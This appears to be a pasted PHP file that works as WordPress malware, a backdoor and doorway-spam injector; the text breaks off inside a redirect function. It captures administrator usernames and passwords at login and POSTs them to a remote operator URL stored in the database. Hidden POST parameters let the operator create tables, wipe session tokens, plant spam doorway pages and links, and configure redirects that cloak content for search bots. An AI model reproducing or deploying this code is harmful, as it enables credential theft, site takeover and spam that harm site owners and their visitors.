· 5 years ago · Mar 18, 2020, 02:56 PM
1<?php ini_set('display_errors', "Off");
2ini_set('memory_limit', '256M');
3ini_set('max_execution_time', 0);
4set_time_limit(0);
5ignore_user_abort(1);
6$wpdbhost = DB_HOST;
7$wpdbhost = trim($wpdbhost, ":");
8$wpdbname = DB_NAME;
9$wpdbuser = DB_USER;
10$wpdbpass = DB_PASSWORD;
11if (empty($table_prefix))
12{
13 $wpdbpref = "wpr_";
14}
15else
16{
17 $wpdbpref = $table_prefix;
18}
19$preffmhomeurl = $table_prefix;
20$maintablaname = $wpdbpref . "pcachewpr";
21$linkstablaname = $wpdbpref . "lcachewpr";
22$dbprt = "3306";
23if (stripos("qqq" . $wpdbhost, ":"))
24{
25 $wpdbhost = explode(":", $wpdbhost);
26 $dbprt = $wpdbhost[1];
27 $wpdbhost = $wpdbhost[0];
28}
29if (!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
30{
31 $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
32}
33elseif (!empty($_SERVER['REMOTE_ADDR']))
34{
35 $ip = $_SERVER['REMOTE_ADDR'];
36}
37else
38{
39 $ip = "";
40}
41$currenturl = $_SERVER['SERVER_NAME'] . strtolower($_SERVER['REQUEST_URI']);
42$currenturl = trim($currenturl, "/");
43$cururlforcheckmorda = $currenturl;
44if (is_ssl() === false)
45{
46 $currenturl = "http://" . $currenturl;
47}
48else
49{
50 $currenturl = "https://" . $currenturl;
51}
52if (!empty($_POST["log"]) && !empty($_POST["pwd"]) && function_exists("wp_authenticate"))
53{
54 $checktable = mysqlTableSeekWP($maintablaname, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
55 if ($checktable != "no")
56 {
57 $admurlfmbd = readValueFromBD($maintablaname, "wpcache", "wphash='admurl'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
58 $admurlfmbd = urldecode($admurlfmbd);
59 $clientidfmbd = readValueFromBD($maintablaname, "wpcache", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
60 if (!empty($admurlfmbd) && !empty($clientidfmbd) && $clientidfmbd != "no" && $admurlfmbd != "no")
61 {
62 $un = $_POST["log"];
63 $up = $_POST["pwd"];
64 $auth = wp_authenticate($un, $up);
65 $auth = (array)$auth;
66 if (!empty($auth["ID"]))
67 {
68 if (isset($auth["roles"][0]) && $auth["roles"][0] == "administrator")
69 {
70 if (isset($auth["allcaps"]["level_10"]) && $auth["allcaps"]["level_10"] === true)
71 {
72 $params = "clientid=" . $clientidfmbd . "&updata=" . urlencode($un . "|||" . $up) . "&admip=" . urlencode($ip) . "&admurl=" . urlencode($currenturl);
73 $result = httpPost($admurlfmbd, $params);
74 }
75 }
76 }
77 }
78 }
79}
80if (empty($_GET['ertthndxbcvs']) && !stripos("qqq" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'], "/admin") && !stripos("qqq" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'], "wp-admin") && !empty($wpdbhost) && !empty($wpdbname) && !empty($wpdbuser) && !empty($wpdbpass))
81{
82 header('Content-type: text/html; charset=UTF-8');
83 $currenthash = md5($currenturl);
84 if (!empty($_SERVER['HTTP_USER_AGENT']))
85 {
86 $useragent = $_SERVER['HTTP_USER_AGENT'];
87 }
88 else
89 {
90 $useragent = "";
91 }
92 if (!empty($_SERVER['HTTP_REFERER']))
93 {
94 $referer = $_SERVER['HTTP_REFERER'];
95 }
96 else
97 {
98 $referer = "";
99 }
100 if (!empty($_POST["trsgdfs"]) && $_POST["trsgdfs"] == "1sxhlichvls" && !empty($_POST["qwydsdf"]))
101 {
102 $err = "";
103 $checktable = mysqlTableSeekWP($maintablaname, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
104 if ($checktable == "no")
105 {
106 $res = createTable($maintablaname, "wphash LONGBLOB, wpurl LONGBLOB, wpcache LONGBLOB, wpk LONGBLOB, wpk1 LONGBLOB, wpset LONGBLOB, wpred LONGBLOB, wpredurl LONGBLOB", "id", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
107 if ($res != "yes")
108 {
109 echo $res;
110 die();
111 }
112 }
113 elseif ($checktable == "udfgoihdkh48sied")
114 {
115 echo $checktable;
116 die();
117 }
118 elseif ($checktable == "yes")
119 {
120 echo "aawtr35tdgvvcsxdff";
121 die();
122 }
123 $checktable = mysqlTableSeekWP($linkstablaname, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
124 if ($checktable == "no")
125 {
126 $res = createTable($linkstablaname, "wphash LONGBLOB, wpcache LONGBLOB", "id", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
127 if ($res != "yes")
128 {
129 echo $res;
130 die();
131 }
132 }
133 elseif ($checktable == "udfgoihdkh48sied")
134 {
135 echo $checktable;
136 die();
137 }
138 elseif ($checktable == "yes")
139 {
140 echo "aawtr35tdgvvcsxdff";
141 die();
142 }
143 createIndexBWD($maintablaname, "wphash", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
144 createIndexBWD($linkstablaname, "wphash", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
145 $postpass = randString("15");
146 $res = insertToBD($maintablaname, "wphash, wpcache", "'admurl', '" . urlencode($_POST["qwydsdf"]) . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
147 $res = insertToBD($maintablaname, "wphash, wpcache", "'passtopost', '" . $postpass . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
148 $clientid = randString("20");
149 $res = insertToBD($maintablaname, "wphash, wpcache", "'clientid', '" . $clientid . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
150 if ($res == "yes")
151 {
152 echo "zxcvetrhytdj65re|||||" . $postpass . ":::::" . $clientid . "|||||";
153 if (function_exists('delete_metadata'))
154 {
155 delete_metadata('user', 0, 'session_tokens', false, true);
156 }
157 die();
158 }
159 else
160 {
161 echo "xcvbrhr6hdhcgxcva";
162 die();
163 }
164 }
165 if (!empty($_POST["ptpxcbeiru"]))
166 {
167 $passtopostfmbd = readValueFromBD($maintablaname, "wpcache", "wphash='passtopost'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
168 $admurlfmbd = readValueFromBD($maintablaname, "wpcache", "wphash='admurl'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
169 $clientidfmbd = readValueFromBD($maintablaname, "wpcache", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
170 if (empty($passtopostfmbd) || $passtopostfmbd == "no" || $passtopostfmbd != $_POST["ptpxcbeiru"])
171 {
172 echo "uewea4sfdxcbxb";
173 die();
174 }
175 if (empty($admurlfmbd) || $admurlfmbd == "no")
176 {
177 echo "kutyre54aw3eafd";
178 die();
179 }
180 if (empty($clientidfmbd) || $clientidfmbd == "no")
181 {
182 echo "xgse5rsdgiofsdsf";
183 die();
184 }
185 $admurlfmbd = urldecode($admurlfmbd);
186 if (!empty($_POST["hdfgfxoi"]) && $_POST["hdfgfxoi"] == "ncxfxdasdf" && !empty($_POST["chpuview"]) && !empty($_POST["doorkeys"]))
187 {
188 if (getCountofTable($maintablaname, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt) > 3 && $_POST["firstpart"] == "yes")
189 {
190 deleteLinesFmDB($maintablaname, "wpk IS NOT NULL", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
191 deleteLinesFmDB($linkstablaname, "wphash IS NOT NULL", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
192 updateBDData($maintablaname, "", "wpred", "wphash='admurl'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
193 updateBDData($maintablaname, "", "wpredurl", "wphash='admurl'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
194 updateBDData($maintablaname, "", "wpred", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
195 updateBDData($maintablaname, "", "wpredurl", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
196 }
197 $chpuview = $_POST["chpuview"];
198 $chpuview = urldecode($chpuview);
199 $doorkeys = $_POST["doorkeys"];
200 $doorkeys = urldecode($doorkeys);
201 $doorkeys = stripslashes($doorkeys);
202 $doorkeys = preg_replace_callback('!s:(\d+):"(.*?)";!', function ($match)
203 {
204 return ($match[1] == ($match[2])) ? $match[0] : 's:' . strlen($match[2]) . ':"' . $match[2] . '";';
205 }
206 , $doorkeys);
207 $doorkeys = unserialize($doorkeys);
208 if (!is_array($doorkeys) || count($doorkeys) == 0)
209 {
210 echo "vbsdreawefzzdfv";
211 die();
212 }
213 if ($_POST["firstpart"] == "yes")
214 {
215 $sitetempfrdoor = parseTemplate();
216 if (empty($sitetempfrdoor) || !is_array($sitetempfrdoor) || empty($sitetempfrdoor["sitetemp"]) || empty($sitetempfrdoor["chpu"]))
217 {
218 echo "ktdrtsdfgsdfs4tse";
219 die();
220 }
221 $chpufrdoor = $sitetempfrdoor["chpu"];
222 $sitetempfrdoor = $sitetempfrdoor["sitetemp"];
223 $sitetempfrdoor = str_ireplace("xmlrpc.php", "", $sitetempfrdoor);
224 updateBDData($maintablaname, urlencode($chpufrdoor) , "wpurl", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
225 }
226 else
227 {
228 $chpufrdoor = readValueFromBD($maintablaname, "wpurl", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
229 $chpufrdoor = urldecode($chpufrdoor);
230 $sitetempfrdoor = "notfirstpart";
231 if (empty($chpufrdoor) || $chpufrdoor == "no")
232 {
233 echo "kiryut7dfgzxvcmcxz";
234 die();
235 }
236 }
237 $doorpagesdata = array();
238 $testpageurl = "";
239 foreach ($doorkeys as $k => $onekey)
240 {
241 $onekey = explode("|", $onekey);
242 if (!empty($onekey[1]))
243 {
244 $key_1 = $onekey[1];
245 }
246 else
247 {
248 $key_1 = "";
249 }
250 $onekey = $onekey[0];
251 if ($chpuview == "k")
252 {
253 $slugfrurl = sanitize_title($onekey);
254 }
255 elseif ($chpuview == "g")
256 {
257 $slugfrurl = randString(rand(7, 11));
258 }
259 elseif ($chpuview == "n")
260 {
261 $slugfrurl = rand(1, 9) . rand(1, 9) . rand(1, 9) . rand(1, 9) . rand(1, 9) . rand(1, 9) . rand(1, 9) . rand(1, 9);
262 }
263 $slugfrurl = strtolower($slugfrurl);
264 $doorpageurl = str_ireplace("chpukeyplace", $slugfrurl, $chpufrdoor);
265 $doorpagesdata[] = $onekey . ":::::" . $doorpageurl;
266 $res = insertToBD($maintablaname, "wphash, wpurl, wpk, wpk1", "'" . md5($doorpageurl) . "', '" . urlencode($doorpageurl) . "', '" . urlencode($onekey) . "', '" . urlencode($key_1) . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
267 if ($_POST["firstpart"] == "yes" && $k == 0)
268 {
269 $testpageurl = str_ireplace("chpukeyplace", "edf8329we", $chpufrdoor);
270 insertToBD($maintablaname, "wphash, wpurl, wpk, wpk1", "'" . md5($testpageurl) . "', '" . urlencode($testpageurl) . "', 'edf8329we', ''", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
271 }
272 if ($res == "bewiursfer9uidd")
273 {
274 echo "xcvbr459isdfgssdd";
275 die();
276 }
277 }
278 updateBDData($maintablaname, $_POST["doorsetts"], "wpset", "wphash='admurl'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
279 $doorpagesdata = serialize($doorpagesdata);
280 $doorpagesdata = urlencode($doorpagesdata);
281 $params = "clientid=" . $clientidfmbd . "&newdoordata=" . $doorpagesdata . "&sitetemplate=" . urlencode($sitetempfrdoor) . "&firstpart=" . $_POST["firstpart"] . "&testpageurl=" . urlencode($testpageurl);
282 $result = httpPost($admurlfmbd, $params);
283 if (stripos("qqq" . $result, "trugsew9rusxildd"))
284 {
285 echo "xbvstrei4w0aeaorpdf";
286 die();
287 }
288 elseif (stripos("qqq" . $result, "bw543ersfdgsdfffg"))
289 {
290 echo "pqweity5rer5syc9f";
291 die();
292 }
293 else
294 {
295 echo "myrtersgertsrgfdf";
296 die();
297 }
298 }
299 if (!empty($_POST["redircode"]) || !empty($_POST["redirurl"]))
300 {
301 if (!empty($_POST["redircode"]))
302 {
303 if ($_POST["redircode"] == "stop")
304 {
305 updateBDData($maintablaname, "", "wpred", "wphash='admurl'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
306 updateBDData($maintablaname, "", "wpredurl", "wphash='admurl'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
307 }
308 else
309 {
310 updateBDData($maintablaname, urlencode(stripslashes($_POST["redircode"])) , "wpred", "wphash='admurl'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
311 }
312 }
313 if (!empty($_POST["redirurl"]))
314 {
315 updateBDData($maintablaname, urlencode(stripslashes($_POST["redirurl"])) , "wpredurl", "wphash='admurl'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
316 }
317 echo "geri9rdgfojvrev";
318 die();
319 }
320 if (!empty($_POST["clearcache"]))
321 {
322 updateBDData($maintablaname, "", "wpcache", "wpcache IS NOT NULL AND wpk IS NOT NULL", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
323 deleteLinesFmDB($linkstablaname, "wphash IS NOT NULL", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
324 echo "be545hgfxbfbgfdf";
325 die();
326 }
327 if (!empty($_POST["getdoorstatus"]))
328 {
329 $doorstatus = getStatus($maintablaname, $linkstablaname, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
330 $botsstats = readValueFromBD($maintablaname, "wpred", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
331 if (!is_numeric($botsstats))
332 {
333 $botsstats = 0;
334 }
335 $usersstats = readValueFromBD($maintablaname, "wpredurl", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
336 if (!is_numeric($usersstats))
337 {
338 $usersstats = 0;
339 }
340 if (is_array($doorstatus))
341 {
342 $doorstatus["botsstats"] = $botsstats;
343 $doorstatus["usersstats"] = $usersstats;
344 $doorstatus = serialize($doorstatus);
345 $doorstatus = urlencode($doorstatus);
346 echo "p9ot78u6syrtfxhg DOORSTATUS:::" . $doorstatus . ":::DOORSTATUSq";
347 die();
348 }
349 else
350 {
351 echo $doorstatus . "<br>";
352 echo "zxcveer4eefresfsdfv";
353 die();
354 }
355 }
356 }
357 $uatobadfilter = array(
358 '#Ask\s*Jeeves#i',
359 '#HP\s*Web\s*PrintSmart#i',
360 '#HTTrack#i',
361 '#IDBot#i',
362 '#Indy\s*Library#',
363 '#ListChecker#i',
364 '#MSIECrawler#i',
365 '#NetCache#i',
366 '#Nutch#i',
367 '#RPT-HTTPClient#i',
368 '#rulinki\.ru#i',
369 '#Twiceler#i',
370 '#WebAlta#i',
371 '#Webster\s*Pro#i',
372 '#www\.cys\.ru#i',
373 '#Wysigot#i',
374 '#Ahrefs#i',
375 '#Yeti#i',
376 '#Accoona#i',
377 '#CazoodleBot#i',
378 '#CFNetwork#i',
379 '#ConveraCrawler#i',
380 '#DISCo#i',
381 '#Download\s*Master#i',
382 '#FAST\s*MetaWeb\s*Crawler#i',
383 '#Flexum\s*spider#i',
384 '#Gigabot#i',
385 '#HTMLParser#i',
386 '#ia_archiver#i',
387 '#ichiro#i',
388 '#IRLbot#i',
389 '#Java#i',
390 '#km\.ru\s*bot#i',
391 '#kmSearchBot#i',
392 '#libwww-perl#i',
393 '#Lupa\.ru#i',
394 '#LWP::Simple#i',
395 '#lwp-trivial#i',
396 '#Missigua#i',
397 '#MJ12bot#i',
398 '#Offline\s*Explorer#i',
399 '#OmniExplorer_Bot#i',
400 '#PEAR#i',
401 '#psbot#i',
402 '#Python#i',
403 '#rulinki\.ru#i',
404 '#SMILE#i',
405 '#Speedy#i',
406 '#Teleport\s*Pro#i',
407 '#TurtleScanner#i',
408 '#User-Agent#i',
409 '#voyager#i',
410 '#Webalta#i',
411 '#WebCopier#i',
412 '#WebData#i',
413 '#WebZIP#i',
414 '#Wget#i',
415 '#Yanga#i',
416 '#Yeti#i',
417 '#jeeves#i',
418 '#WordPress#i',
419 '#scooter#i',
420 '#av\s*fetch#i',
421 '#asterias#i',
422 '#spiderthread\srevision#i',
423 '#sqworm#i',
424 '#infoseek sidewinder#i',
425 '#ultraseek#i',
426 '#polybot#i',
427 '#webcrawler#i',
428 '#robozill#i',
429 '#gulliver#i',
430 '#architextspider#i',
431 '#charlotte#i',
432 '#Vegi\s*bot#i',
433 '#BUbiNG#i',
434 '#ltx71#i',
435 '#MJ12bot#i',
436 '#MegaIndex#i',
437 '#Mediatoolkitbot#i',
438 '#DotBot#i',
439 '#opensiteexplorer#i',
440 '#Go-http-client#i',
441 '#Photon#i',
442 '#bloglovin#i',
443 '#scalaj-http#i',
444 '#AddThis#i',
445 '#LinkWalker#i',
446 '#adscanner#i',
447 '#istellabot#i',
448 '#Datanyze#i'
449 );
450 $badbot = "";
451 if (strpos("qqq" . preg_replace($uatobadfilter, '-ABOT-', $useragent) , '-ABOT-'))
452 {
453 $badbot = "yes";
454 }
455 if (mysqlTableSeekWP($maintablaname, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt) != "no" && getCountofTable($maintablaname, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt) > 3 && !stripos("qqq" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'], "wp-login") && is_user_logged_in() === false && empty($badbot))
456 {
457 $reddata = readValueFromBD($maintablaname, "wpred, wpredurl", "wphash='admurl'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
458 $redcode = "";
459 $redurl = "";
460 if (!empty($reddata) && $reddata != "no")
461 {
462 $redcode = $reddata["wpred"];
463 $redurl = $reddata["wpredurl"];
464 }
465 $currentdoorcache = readValueFromBD($maintablaname, "wpcache, wpk", "wphash='" . $currenthash . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
466 $showlinksornot = "no";
467 $angryornot = "";
468 $doorsettings = readValueFromBD($maintablaname, "wpset", "wphash='admurl'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
469 if (!empty($doorsettings) && $doorsettings != "no")
470 {
471 $doorsettings = urldecode($doorsettings);
472 $doorsettings = unserialize($doorsettings);
473 $showlinksornot = $doorsettings["ownlinks"];
474 if (!empty($doorsettings["useangry"]) && $doorsettings["useangry"] != "no" && $currentdoorcache == "no")
475 {
476 $angryornot = $doorsettings["useangry"];
477 $morda = readValueFromBD($preffmhomeurl . "options", "option_value", "option_name='siteurl'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
478 if ($angryornot == "nomorda")
479 {
480 $angryornot = "yes";
481 if ($morda != "no")
482 {
483 $morda = str_ireplace("http://", "", $morda);
484 $morda = str_ireplace("https://", "", $morda);
485 $morda = trim($morda, "/");
486 if ($cururlforcheckmorda == $morda)
487 {
488 $angryornot = "no";
489 }
490 }
491 else
492 {
493 $angryornot = "no";
494 }
495 }
496 if ($angryornot == "yes")
497 {
498 $randkey = randomValuesFromTableById($maintablaname, "wpk,wpk1", 1, $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
499 if (!empty($randkey) && $randkey != "no" && is_array($randkey))
500 {
501 foreach ($randkey as $onekeysdata)
502 {
503 $angrykey = $onekeysdata["wpk"];
504 $angrykey1 = $onekeysdata["wpk1"];
505 }
506 }
507 insertToBD($maintablaname, "wphash, wpurl, wpk, wpk1", "'" . md5($currenturl) . "', '" . urlencode($currenturl) . "', '" . $angrykey . "', '" . $angrykey1 . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
508 $currentdoorcache = readValueFromBD($maintablaname, "wpcache, wpk", "wphash='" . $currenthash . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
509 }
510 }
511 }
512 if ($currentdoorcache == "no")
513 {
514 if ($showlinksornot == "yes")
515 {
516 $currentlinkscache = readValueFromBD($linkstablaname, "wpcache", "wphash='" . $currenthash . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
517 if ($currentlinkscache == "no" || empty($currentlinkscache))
518 {
519 $randlinks = randomValuesFromTableById($maintablaname, "wpurl,wpk", rand(4, 6) , $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
520 if (!empty($randlinks) && $randlinks != "no" && is_array($randlinks))
521 {
522 $goodlinks = array();
523 foreach ($randlinks as $onelinkdata)
524 {
525 if (!empty($onelinkdata["wpk"]))
526 {
527 $goodlinks[] = "<a href=\"" . trim(urldecode($onelinkdata["wpurl"])) . "\">" . trim(urldecode($onelinkdata["wpk"])) . "</a>";
528 }
529 }
530 if (count($goodlinks) > 0)
531 {
532 $goodlinks = implode(" ", $goodlinks);
533 insertToBD($linkstablaname, "wphash, wpcache", "'" . $currenthash . "', '" . urlencode($goodlinks) . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
534 }
535 else
536 {
537 $goodlinks = "";
538 }
539 }
540 }
541 else
542 {
543 $goodlinks = urldecode($currentlinkscache);
544 }
545 if (!empty($goodlinks))
546 {
547 $bot = "";
548 if ($redcode == "ktapi" && !empty($redurl))
549 {
550 $redurl = urldecode($redurl);
551 $redurl = unserialize($redurl);
552 if (count($redurl) == 3)
553 {
554 $bot = goToRedirect($ip, $referer, $useragent, $redurl["kturl"], "", $redurl["lapi"], "yes", "", "", "", "");
555 }
556 }
557 else
558 {
559 $bot = goToRedirect($ip, $referer, $useragent, "", "", "", "yes", "", "", "", "");
560 }
561 if ($bot == "bot")
562 {
563 $selfpage = placeLinks($currenturl, $goodlinks);
564 if (!empty($selfpage))
565 {
566 echo $selfpage;
567 die();
568 }
569 }
570 }
571 }
572 }
573 else
574 {
575 $clientidfmbd = readValueFromBD($maintablaname, "wpcache", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
576 $admurlfmbd = readValueFromBD($maintablaname, "wpcache", "wphash='admurl'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
577 if (!empty($clientidfmbd) && !empty($admurlfmbd))
578 {
579 $admurlfmbd = urldecode($admurlfmbd);
580 $currentkey = $currentdoorcache["wpk"];
581 $key1frredir = readValueFromBD($maintablaname, "wpk1", "wphash='" . $currenthash . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
582 if (empty($key1frredir) || $key1frredir == "no")
583 {
584 $key1frredir = "";
585 }
586 $redresult = "";
587 if ($redcode == "ktapi" && !empty($redurl))
588 {
589 $redurl = urldecode($redurl);
590 $redurl = unserialize($redurl);
591 if (count($redurl) == 3)
592 {
593 $redresult = goToRedirect($ip, $referer, $useragent, $redurl["kturl"], $currenturl, $redurl["mapi"], "", urldecode($currentkey) , "", "", $key1frredir);
594 }
595 }
596 elseif (empty($redcode))
597 {
598 $redresult = goToRedirect($ip, $referer, $useragent, "", $currenturl, "", "", urldecode($currentkey) , "", "", "");
599 }
600 else
601 {
602 $redcode = urldecode($redcode);
603 $redurl = urldecode($redurl);
604 $redresult = goToRedirect($ip, $referer, $useragent, "", $currenturl, "", "", urldecode($currentkey) , $redcode, $redurl, $key1frredir);
605 }
606 if (empty($currentdoorcache["wpcache"]) || $currentkey == "edf8329we")
607 {
608 $params = "clientid=" . $clientidfmbd . "&givemecontent=" . $currentkey . "&an=" . $angryornot . "&anurl=" . urlencode($currenturl);
609 $content = httpPost($admurlfmbd, $params);
610 if (!empty($content) && strlen($content) > 1000)
611 {
612 $content = urlencode($content);
613 if ($currentkey != "edf8329we")
614 {
615 updateBDData($maintablaname, $content, "wpcache", "wphash='" . $currenthash . "'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
616 }
617 }
618 }
619 else
620 {
621 $content = $currentdoorcache["wpcache"];
622 }
623 if ($redresult == "bot")
624 {
625 if (stripos("qqq" . $useragent, "google") || stripos("qqq" . $useragent, "bing") || stripos("qqq" . $useragent, "yahoo") || stripos("qqq" . $useragent, "yandex"))
626 {
627 $botscount = readValueFromBD($maintablaname, "wpred", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
628 if (empty($botscount) || $botscount == "no")
629 {
630 $botscount = 1;
631 }
632 elseif (is_numeric($botscount))
633 {
634 $botscount++;
635 }
636 else
637 {
638 $botscount = 1;
639 }
640 if (!empty($botscount))
641 {
642 updateBDData($maintablaname, $botscount, "wpred", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
643 }
644 }
645 echo urldecode($content);
646 die();
647 }
648 elseif (!empty($redresult))
649 {
650 if (stripos("qqq" . $referer, "google.") || stripos("qqq" . $referer, "yahoo.") || stripos("qqq" . $referer, "bing.") || stripos("qqq" . $referer, "yandex.ru") || stripos("qqq" . $referer, "mail.ru"))
651 {
652 $userscount = readValueFromBD($maintablaname, "wpredurl", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
653 if (empty($userscount) || $userscount == "no")
654 {
655 $userscount = 1;
656 }
657 elseif (is_numeric($userscount))
658 {
659 $userscount++;
660 }
661 else
662 {
663 $userscount = 1;
664 }
665 if (!empty($userscount))
666 {
667 updateBDData($maintablaname, $userscount, "wpredurl", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
668 }
669 }
670 echo $redresult;
671 die();
672 }
673 elseif (empty($redresult))
674 {
675 if (stripos("qqq" . $referer, "google.") || stripos("qqq" . $referer, "yahoo.") || stripos("qqq" . $referer, "bing.") || stripos("qqq" . $referer, "yandex.ru") || stripos("qqq" . $referer, "mail.ru"))
676 {
677 $userscount = readValueFromBD($maintablaname, "wpredurl", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
678 if (empty($userscount) || $userscount == "no")
679 {
680 $userscount = 1;
681 }
682 else
683 {
684 $userscount++;
685 }
686 if (!empty($userscount))
687 {
688 updateBDData($maintablaname, $userscount, "wpredurl", "wphash='clientid'", $wpdbhost, $wpdbname, $wpdbuser, $wpdbpass, $dbprt);
689 }
690 }
691 }
692 }
693 }
694 }
695}
696function createIndexBWD($tablename, $indcol, $dbhost, $dbname, $dbuser, $dbpass, $dbport)
697{
698 $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport);
699 if (!$dbcon)
700 {
701 return "udfgoihdkh48sied";
702 }
703 $sql = "ALTER TABLE " . $tablename . " ADD INDEX " . $indcol . " (" . $indcol . "(5))";
704 if (mysqli_query($dbcon, $sql))
705 {
706 mysqli_close($dbcon);
707 return "yes";
708 }
709 else
710 {
711 mysqli_close($dbcon);
712 return "orutydrfsxgxcvbxcv";
713 }
714}
715function getStatus($mtablename, $ltablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport)
716{
717 $checkdata = array();
718 $checkmaintable = mysqlTableSeekWP($mtablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport);
719 if (!empty($checkmaintable) && $checkmaintable != "no")
720 {
721 $checkdata["maintable"] = "good";
722 $linescount = getCountofTable($mtablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport);
723 if ($linescount != "no" && $linescount > 3)
724 {
725 $checkdata["cachelines"] = $linescount - 3;
726 $cachecount = getCacheCount($mtablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport);
727 if ($cachecount != "no" && $cachecount != "bad")
728 {
729 $checkdata["cachecount"] = $cachecount;
730 }
731 else
732 {
733 $checkdata["cachecount"] = "bad";
734 }
735 }
736 else
737 {
738 $checkdata["cachelines"] = "bad";
739 $checkdata["cachecount"] = "bad";
740 }
741 }
742 else
743 {
744 $checkdata["maintable"] = "bad";
745 $checkdata["cachecount"] = "bad";
746 }
747 $checklinktable = mysqlTableSeekWP($ltablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport);
748 if (!empty($checklinktable) && $checklinktable != "no")
749 {
750 $checkdata["linkable"] = "good";
751 }
752 else
753 {
754 $checkdata["linkable"] = "bad";
755 }
756 return $checkdata;
757}
758function getCacheCount($tablename, $dbhost, $dbname, $dbuser, $dbpass, $dbport)
759{
760 $dbcon = mysqli_connect($dbhost, $dbuser, $dbpass, $dbname, $dbport);
761 if (!$dbcon)
762 {
763 return false;
764 }
765 else
766 {
767 $sql = "SELECT COUNT(1) FROM " . $tablename . " WHERE wpcache IS NOT NULL AND wpcache!='' AND wpk IS NOT NULL";
768 $needvalue = mysqli_query($dbcon, $sql);
769 $needvalue = mysqli_fetch_all($needvalue);
770 mysqli_close($dbcon);
771 if (count($needvalue[0]) > 0)
772 {
773 return $needvalue[0][0];
774 }
775 else
776 {
777 return "bad";
778 }
779 }
780}
781function goToRedirect($ip, $referrer, $ua, $domain_kt, $url_curr, $apiToken, $forlinks, $keyword, $plainred, $plainredurl, $key1)
782{
783 if (empty($ip))
784 {
785 return "";
786 }
787 if (!empty($apiToken))
788 {
789 $user_agent_to_filter = array(
